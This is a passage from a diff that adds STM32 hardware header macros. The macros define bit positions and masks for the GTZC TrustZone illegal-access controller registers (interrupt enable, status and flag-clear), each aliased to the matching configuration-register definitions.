GTZC_CFGR3_ADC_Msk +#define GTZC_TZIC1_IER3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZIC1_IER3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZIC1_IER3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZIC1_IER3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZIC1_IER3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZIC1_IER3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZIC1_IER3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZIC1_IER3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZIC1_IER3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZIC1_IER3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZIC1_IER3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZIC1_IER3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZIC1_IER3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZIC1_IER3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + +/******************* Bits definition for GTZC_TZIC_IER4 register ***************/ +#define GTZC_TZIC1_IER4_GPDMA1_Pos GTZC_CFGR4_GPDMA1_Pos +#define GTZC_TZIC1_IER4_GPDMA1_Msk GTZC_CFGR4_GPDMA1_Msk +#define GTZC_TZIC1_IER4_GPDMA2_Pos GTZC_CFGR4_GPDMA2_Pos +#define GTZC_TZIC1_IER4_GPDMA2_Msk GTZC_CFGR4_GPDMA2_Msk +#define GTZC_TZIC1_IER4_FLASH_Pos GTZC_CFGR4_FLASH_Pos +#define GTZC_TZIC1_IER4_FLASH_Msk GTZC_CFGR4_FLASH_Msk +#define GTZC_TZIC1_IER4_FLASH_REG_Pos GTZC_CFGR4_FLASH_REG_Pos +#define GTZC_TZIC1_IER4_FLASH_REG_Msk GTZC_CFGR4_FLASH_REG_Msk +#define GTZC_TZIC1_IER4_SBS_Pos GTZC_CFGR4_SBS_Pos +#define GTZC_TZIC1_IER4_SBS_Msk GTZC_CFGR4_SBS_Msk +#define GTZC_TZIC1_IER4_RTC_Pos GTZC_CFGR4_RTC_Pos +#define GTZC_TZIC1_IER4_RTC_Msk GTZC_CFGR4_RTC_Msk +#define GTZC_TZIC1_IER4_TAMP_Pos GTZC_CFGR4_TAMP_Pos +#define GTZC_TZIC1_IER4_TAMP_Msk GTZC_CFGR4_TAMP_Msk +#define GTZC_TZIC1_IER4_PWR_Pos GTZC_CFGR4_PWR_Pos +#define GTZC_TZIC1_IER4_PWR_Msk GTZC_CFGR4_PWR_Msk +#define GTZC_TZIC1_IER4_RCC_Pos GTZC_CFGR4_RCC_Pos +#define GTZC_TZIC1_IER4_RCC_Msk GTZC_CFGR4_RCC_Msk +#define GTZC_TZIC1_IER4_EXTI_Pos GTZC_CFGR4_EXTI_Pos +#define GTZC_TZIC1_IER4_EXTI_Msk GTZC_CFGR4_EXTI_Msk +#define GTZC_TZIC1_IER4_TZSC_Pos GTZC_CFGR4_TZSC_Pos +#define GTZC_TZIC1_IER4_TZSC_Msk GTZC_CFGR4_TZSC_Msk +#define GTZC_TZIC1_IER4_TZIC_Pos GTZC_CFGR4_TZIC_Pos +#define GTZC_TZIC1_IER4_TZIC_Msk GTZC_CFGR4_TZIC_Msk +#define GTZC_TZIC1_IER4_OCTOSPI1_MEM_Pos GTZC_CFGR4_OCTOSPI1_MEM_Pos +#define GTZC_TZIC1_IER4_OCTOSPI1_MEM_Msk GTZC_CFGR4_OCTOSPI1_MEM_Msk +#define GTZC_TZIC1_IER4_FMC_MEM_Pos GTZC_CFGR4_FMC_MEM_Pos +#define GTZC_TZIC1_IER4_FMC_MEM_Msk GTZC_CFGR4_FMC_MEM_Msk +#define GTZC_TZIC1_IER4_BKPSRAM_Pos GTZC_CFGR4_BKPSRAM_Pos +#define GTZC_TZIC1_IER4_BKPSRAM_Msk GTZC_CFGR4_BKPSRAM_Msk +#define GTZC_TZIC1_IER4_SRAM1_Pos GTZC_CFGR4_SRAM1_Pos +#define GTZC_TZIC1_IER4_SRAM1_Msk GTZC_CFGR4_SRAM1_Msk +#define GTZC_TZIC1_IER4_MPCBB1_REG_Pos GTZC_CFGR4_MPCBB1_REG_Pos +#define GTZC_TZIC1_IER4_MPCBB1_REG_Msk GTZC_CFGR4_MPCBB1_REG_Msk +#define GTZC_TZIC1_IER4_SRAM2_Pos GTZC_CFGR4_SRAM2_Pos +#define GTZC_TZIC1_IER4_SRAM2_Msk GTZC_CFGR4_SRAM2_Msk +#define GTZC_TZIC1_IER4_MPCBB2_REG_Pos GTZC_CFGR4_MPCBB2_REG_Pos +#define GTZC_TZIC1_IER4_MPCBB2_REG_Msk GTZC_CFGR4_MPCBB2_REG_Msk +#define GTZC_TZIC1_IER4_SRAM3_Pos GTZC_CFGR4_SRAM3_Pos +#define GTZC_TZIC1_IER4_SRAM3_Msk GTZC_CFGR4_SRAM3_Msk +#define GTZC_TZIC1_IER4_MPCBB3_REG_Pos GTZC_CFGR4_MPCBB3_REG_Pos +#define GTZC_TZIC1_IER4_MPCBB3_REG_Msk GTZC_CFGR4_MPCBB3_REG_Msk + +/******************* Bits definition for GTZC_TZIC_SR1 register **************/ +#define GTZC_TZIC1_SR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZIC1_SR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZIC1_SR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZIC1_SR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZIC1_SR1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZIC1_SR1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZIC1_SR1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZIC1_SR1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZIC1_SR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZIC1_SR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZIC1_SR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZIC1_SR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZIC1_SR1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZIC1_SR1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZIC1_SR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZIC1_SR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZIC1_SR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZIC1_SR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZIC1_SR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZIC1_SR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZIC1_SR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZIC1_SR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZIC1_SR1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZIC1_SR1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZIC1_SR1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZIC1_SR1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZIC1_SR1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZIC1_SR1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZIC1_SR1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZIC1_SR1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZIC1_SR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZIC1_SR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZIC1_SR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZIC1_SR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZIC1_SR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZIC1_SR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZIC1_SR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZIC1_SR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZIC1_SR1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZIC1_SR1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZIC1_SR1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZIC1_SR1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZIC1_SR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZIC1_SR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZIC1_SR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZIC1_SR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZIC1_SR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZIC1_SR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZIC_SR2 register **************/ +#define GTZC_TZIC1_SR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZIC1_SR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZIC1_SR2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZIC1_SR2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZIC1_SR2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZIC1_SR2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZIC1_SR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZIC1_SR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZIC1_SR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZIC1_SR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZIC1_SR2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZIC1_SR2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZIC1_SR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZIC1_SR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZIC1_SR2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZIC1_SR2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZIC1_SR2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZIC1_SR2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZIC1_SR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZIC1_SR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZIC1_SR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZIC1_SR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZIC1_SR2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZIC1_SR2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZIC1_SR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZIC1_SR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZIC_SR3 register **************/ +#define GTZC_TZIC1_SR3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZIC1_SR3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZIC1_SR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZIC1_SR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZIC1_SR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZIC1_SR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZIC1_SR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZIC1_SR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZIC1_SR3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZIC1_SR3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZIC1_SR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZIC1_SR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZIC1_SR3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZIC1_SR3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZIC1_SR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZIC1_SR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZIC1_SR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZIC1_SR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZIC1_SR3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZIC1_SR3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZIC1_SR3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZIC1_SR3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZIC1_SR3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZIC1_SR3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZIC1_SR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZIC1_SR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + +/******************* Bits definition for GTZC_TZIC_SR4 register ***************/ +#define GTZC_TZIC1_SR4_GPDMA1_Pos GTZC_CFGR4_GPDMA1_Pos +#define GTZC_TZIC1_SR4_GPDMA1_Msk GTZC_CFGR4_GPDMA1_Msk +#define GTZC_TZIC1_SR4_GPDMA2_Pos GTZC_CFGR4_GPDMA2_Pos +#define GTZC_TZIC1_SR4_GPDMA2_Msk GTZC_CFGR4_GPDMA2_Msk +#define GTZC_TZIC1_SR4_FLASH_Pos GTZC_CFGR4_FLASH_Pos +#define GTZC_TZIC1_SR4_FLASH_Msk GTZC_CFGR4_FLASH_Msk +#define GTZC_TZIC1_SR4_FLASH_REG_Pos GTZC_CFGR4_FLASH_REG_Pos +#define GTZC_TZIC1_SR4_FLASH_REG_Msk GTZC_CFGR4_FLASH_REG_Msk +#define GTZC_TZIC1_SR4_SBS_Pos GTZC_CFGR4_SBS_Pos +#define GTZC_TZIC1_SR4_SBS_Msk GTZC_CFGR4_SBS_Msk +#define GTZC_TZIC1_SR4_RTC_Pos GTZC_CFGR4_RTC_Pos +#define GTZC_TZIC1_SR4_RTC_Msk GTZC_CFGR4_RTC_Msk +#define GTZC_TZIC1_SR4_TAMP_Pos GTZC_CFGR4_TAMP_Pos +#define GTZC_TZIC1_SR4_TAMP_Msk GTZC_CFGR4_TAMP_Msk +#define GTZC_TZIC1_SR4_PWR_Pos GTZC_CFGR4_PWR_Pos +#define GTZC_TZIC1_SR4_PWR_Msk GTZC_CFGR4_PWR_Msk +#define GTZC_TZIC1_SR4_RCC_Pos GTZC_CFGR4_RCC_Pos +#define GTZC_TZIC1_SR4_RCC_Msk GTZC_CFGR4_RCC_Msk +#define GTZC_TZIC1_SR4_EXTI_Pos GTZC_CFGR4_EXTI_Pos +#define GTZC_TZIC1_SR4_EXTI_Msk GTZC_CFGR4_EXTI_Msk +#define GTZC_TZIC1_SR4_TZSC_Pos GTZC_CFGR4_TZSC_Pos +#define GTZC_TZIC1_SR4_TZSC_Msk GTZC_CFGR4_TZSC_Msk +#define GTZC_TZIC1_SR4_TZIC_Pos GTZC_CFGR4_TZIC_Pos +#define GTZC_TZIC1_SR4_TZIC_Msk GTZC_CFGR4_TZIC_Msk +#define GTZC_TZIC1_SR4_OCTOSPI1_MEM_Pos GTZC_CFGR4_OCTOSPI1_MEM_Pos +#define GTZC_TZIC1_SR4_OCTOSPI1_MEM_Msk GTZC_CFGR4_OCTOSPI1_MEM_Msk +#define GTZC_TZIC1_SR4_FMC_MEM_Pos GTZC_CFGR4_FMC_MEM_Pos +#define GTZC_TZIC1_SR4_FMC_MEM_Msk GTZC_CFGR4_FMC_MEM_Msk +#define GTZC_TZIC1_SR4_BKPSRAM_Pos GTZC_CFGR4_BKPSRAM_Pos +#define GTZC_TZIC1_SR4_BKPSRAM_Msk GTZC_CFGR4_BKPSRAM_Msk +#define GTZC_TZIC1_SR4_SRAM1_Pos GTZC_CFGR4_SRAM1_Pos +#define GTZC_TZIC1_SR4_SRAM1_Msk GTZC_CFGR4_SRAM1_Msk +#define GTZC_TZIC1_SR4_MPCBB1_REG_Pos GTZC_CFGR4_MPCBB1_REG_Pos +#define GTZC_TZIC1_SR4_MPCBB1_REG_Msk GTZC_CFGR4_MPCBB1_REG_Msk +#define GTZC_TZIC1_SR4_SRAM2_Pos GTZC_CFGR4_SRAM2_Pos +#define GTZC_TZIC1_SR4_SRAM2_Msk GTZC_CFGR4_SRAM2_Msk +#define GTZC_TZIC1_SR4_MPCBB2_REG_Pos GTZC_CFGR4_MPCBB2_REG_Pos +#define GTZC_TZIC1_SR4_MPCBB2_REG_Msk GTZC_CFGR4_MPCBB2_REG_Msk +#define GTZC_TZIC1_SR4_SRAM3_Pos GTZC_CFGR4_SRAM3_Pos +#define GTZC_TZIC1_SR4_SRAM3_Msk GTZC_CFGR4_SRAM3_Msk +#define GTZC_TZIC1_SR4_MPCBB3_REG_Pos GTZC_CFGR4_MPCBB3_REG_Pos +#define GTZC_TZIC1_SR4_MPCBB3_REG_Msk GTZC_CFGR4_MPCBB3_REG_Msk + +/****************** Bits definition for GTZC_TZIC_FCR1 register ****************/ +#define GTZC_TZIC1_FCR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZIC1_FCR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZIC1_FCR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZIC1_FCR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZIC1_FCR1_TIM4_Pos GTZC_CFGR1_TIM4_Pos +#define GTZC_TZIC1_FCR1_TIM4_Msk GTZC_CFGR1_TIM4_Msk +#define GTZC_TZIC1_FCR1_TIM5_Pos GTZC_CFGR1_TIM5_Pos +#define GTZC_TZIC1_FCR1_TIM5_Msk GTZC_CFGR1_TIM5_Msk +#define GTZC_TZIC1_FCR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZIC1_FCR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZIC1_FCR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZIC1_FCR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZIC1_FCR1_TIM12_Pos GTZC_CFGR1_TIM12_Pos +#define GTZC_TZIC1_FCR1_TIM12_Msk GTZC_CFGR1_TIM12_Msk +#define GTZC_TZIC1_FCR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZIC1_FCR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZIC1_FCR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZIC1_FCR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZIC1_FCR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZIC1_FCR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZIC1_FCR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZIC1_FCR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZIC1_FCR1_USART2_Pos GTZC_CFGR1_USART2_Pos +#define GTZC_TZIC1_FCR1_USART2_Msk GTZC_CFGR1_USART2_Msk +#define GTZC_TZIC1_FCR1_USART3_Pos GTZC_CFGR1_USART3_Pos +#define GTZC_TZIC1_FCR1_USART3_Msk GTZC_CFGR1_USART3_Msk +#define GTZC_TZIC1_FCR1_UART4_Pos GTZC_CFGR1_UART4_Pos +#define GTZC_TZIC1_FCR1_UART4_Msk GTZC_CFGR1_UART4_Msk +#define GTZC_TZIC1_FCR1_UART5_Pos GTZC_CFGR1_UART5_Pos +#define GTZC_TZIC1_FCR1_UART5_Msk GTZC_CFGR1_UART5_Msk +#define GTZC_TZIC1_FCR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZIC1_FCR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZIC1_FCR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZIC1_FCR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZIC1_FCR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZIC1_FCR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZIC1_FCR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZIC1_FCR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZIC1_FCR1_USART6_Pos GTZC_CFGR1_USART6_Pos +#define GTZC_TZIC1_FCR1_USART6_Msk GTZC_CFGR1_USART6_Msk +#define GTZC_TZIC1_FCR1_HDMICEC_Pos GTZC_CFGR1_HDMICEC_Pos +#define GTZC_TZIC1_FCR1_HDMICEC_Msk GTZC_CFGR1_HDMICEC_Msk +#define GTZC_TZIC1_FCR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZIC1_FCR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZIC1_FCR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZIC1_FCR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZIC1_FCR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZIC1_FCR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZIC_FCR2 register **************/ +#define GTZC_TZIC1_FCR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZIC1_FCR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZIC1_FCR2_FDCAN2_Pos GTZC_CFGR2_FDCAN2_Pos +#define GTZC_TZIC1_FCR2_FDCAN2_Msk GTZC_CFGR2_FDCAN2_Msk +#define GTZC_TZIC1_FCR2_UCPD1_Pos GTZC_CFGR2_UCPD1_Pos +#define GTZC_TZIC1_FCR2_UCPD1_Msk GTZC_CFGR2_UCPD1_Msk +#define GTZC_TZIC1_FCR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZIC1_FCR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZIC1_FCR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZIC1_FCR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZIC1_FCR2_TIM8_Pos GTZC_CFGR2_TIM8_Pos +#define GTZC_TZIC1_FCR2_TIM8_Msk GTZC_CFGR2_TIM8_Msk +#define GTZC_TZIC1_FCR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZIC1_FCR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZIC1_FCR2_TIM15_Pos GTZC_CFGR2_TIM15_Pos +#define GTZC_TZIC1_FCR2_TIM15_Msk GTZC_CFGR2_TIM15_Msk +#define GTZC_TZIC1_FCR2_SPI4_Pos GTZC_CFGR2_SPI4_Pos +#define GTZC_TZIC1_FCR2_SPI4_Msk GTZC_CFGR2_SPI4_Msk +#define GTZC_TZIC1_FCR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZIC1_FCR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZIC1_FCR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZIC1_FCR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZIC1_FCR2_I2C3_Pos GTZC_CFGR2_I2C3_Pos +#define GTZC_TZIC1_FCR2_I2C3_Msk GTZC_CFGR2_I2C3_Msk +#define GTZC_TZIC1_FCR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZIC1_FCR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/****************** Bits definition for GTZC_TZIC_FCR3 register ****************/ +#define GTZC_TZIC1_FCR3_VREFBUF_Pos GTZC_CFGR3_VREFBUF_Pos +#define GTZC_TZIC1_FCR3_VREFBUF_Msk GTZC_CFGR3_VREFBUF_Msk +#define GTZC_TZIC1_FCR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZIC1_FCR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZIC1_FCR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZIC1_FCR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZIC1_FCR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZIC1_FCR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZIC1_FCR3_DCACHE1_REG_Pos GTZC_CFGR3_DCACHE1_REG_Pos +#define GTZC_TZIC1_FCR3_DCACHE1_REG_Msk GTZC_CFGR3_DCACHE1_REG_Msk +#define GTZC_TZIC1_FCR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZIC1_FCR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZIC1_FCR3_DCMI_PSSI_Pos GTZC_CFGR3_DCMI_PSSI_Pos +#define GTZC_TZIC1_FCR3_DCMI_PSSI_Msk GTZC_CFGR3_DCMI_PSSI_Msk +#define GTZC_TZIC1_FCR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZIC1_FCR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZIC1_FCR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZIC1_FCR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZIC1_FCR3_SDMMC1_Pos GTZC_CFGR3_SDMMC1_Pos +#define GTZC_TZIC1_FCR3_SDMMC1_Msk GTZC_CFGR3_SDMMC1_Msk +#define GTZC_TZIC1_FCR3_FMC_REG_Pos GTZC_CFGR3_FMC_REG_Pos +#define GTZC_TZIC1_FCR3_FMC_REG_Msk GTZC_CFGR3_FMC_REG_Msk +#define GTZC_TZIC1_FCR3_OCTOSPI1_Pos GTZC_CFGR3_OCTOSPI1_Pos +#define GTZC_TZIC1_FCR3_OCTOSPI1_Msk GTZC_CFGR3_OCTOSPI1_Msk +#define GTZC_TZIC1_FCR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZIC1_FCR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + +/******************* Bits definition for GTZC_TZIC_FCR4 register ***************/ +#define GTZC_TZIC1_FCR4_GPDMA1_Pos GTZC_CFGR4_GPDMA1_Pos +#define GTZC_TZIC1_FCR4_GPDMA1_Msk GTZC_CFGR4_GPDMA1_Msk +#define GTZC_TZIC1_FCR4_GPDMA2_Pos GTZC_CFGR4_GPDMA2_Pos +#define GTZC_TZIC1_FCR4_GPDMA2_Msk GTZC_CFGR4_GPDMA2_Msk +#define GTZC_TZIC1_FCR4_FLASH_Pos GTZC_CFGR4_FLASH_Pos +#define GTZC_TZIC1_FCR4_FLASH_Msk GTZC_CFGR4_FLASH_Msk +#define GTZC_TZIC1_FCR4_FLASH_REG_Pos GTZC_CFGR4_FLASH_REG_Pos +#define GTZC_TZIC1_FCR4_FLASH_REG_Msk GTZC_CFGR4_FLASH_REG_Msk +#define GTZC_TZIC1_FCR4_SBS_Pos GTZC_CFGR4_SBS_Pos +#define GTZC_TZIC1_FCR4_SBS_Msk GTZC_CFGR4_SBS_Msk +#define GTZC_TZIC1_FCR4_RTC_Pos GTZC_CFGR4_RTC_Pos +#define GTZC_TZIC1_FCR4_RTC_Msk GTZC_CFGR4_RTC_Msk +#define GTZC_TZIC1_FCR4_TAMP_Pos GTZC_CFGR4_TAMP_Pos +#define GTZC_TZIC1_FCR4_TAMP_Msk 